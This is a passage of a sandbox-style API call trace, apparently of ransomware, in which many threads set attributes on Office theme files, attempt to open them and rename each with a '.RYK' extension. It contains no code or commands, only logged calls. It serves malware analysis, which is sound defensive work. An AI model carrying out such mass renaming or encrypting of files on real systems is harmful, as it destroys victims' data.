	[0169.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 460
	os_tid = 0xf64

	[0171.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", dwFileAttributes=0x80) returned 0
	[0171.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 461
	os_tid = 0xf68

	[0171.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", dwFileAttributes=0x80) returned 0
	[0171.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 462
	os_tid = 0xf6c

	[0171.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 463
	os_tid = 0xf70

	[0171.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.786] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 464
	os_tid = 0xf74

	[0171.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", dwFileAttributes=0x80) returned 0
	[0171.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 465
	os_tid = 0xf78

	[0171.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", dwFileAttributes=0x80) returned 0
	[0171.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 466
	os_tid = 0xf7c

	[0171.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.796] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 467
	os_tid = 0xf80

	[0171.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.799] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 468
	os_tid = 0xf84

	[0171.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", dwFileAttributes=0x80) returned 0
	[0171.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.801] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 469
	os_tid = 0xf88

	[0171.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", dwFileAttributes=0x80) returned 0
	[0171.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.807] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 470
	os_tid = 0xf8c

	[0171.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 471
	os_tid = 0xf90

	[0171.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.811] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 472
	os_tid = 0xf94

	[0171.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", dwFileAttributes=0x80) returned 0
	[0171.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 473
	os_tid = 0xf98

	[0171.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", dwFileAttributes=0x80) returned 0
	[0171.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 474
	os_tid = 0xf9c

	[0171.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 475
	os_tid = 0xfa0

	[0171.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 476
	os_tid = 0xfa4

	[0171.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", dwFileAttributes=0x80) returned 0
	[0171.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 477
	os_tid = 0xfa8

	[0171.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", dwFileAttributes=0x80) returned 0
	[0171.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 478
	os_tid = 0xfac

	[0171.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 479
	os_tid = 0xfb0

	[0171.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 480
	os_tid = 0xfb4

	[0171.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", dwFileAttributes=0x80) returned 0
	[0171.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 481
	os_tid = 0xfb8

	[0171.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", dwFileAttributes=0x80) returned 0
	[0171.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 482
	os_tid = 0xfbc

	[0171.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 483
	os_tid = 0xfc0

	[0171.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 484
	os_tid = 0xfc8

	[0171.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", dwFileAttributes=0x80) returned 0
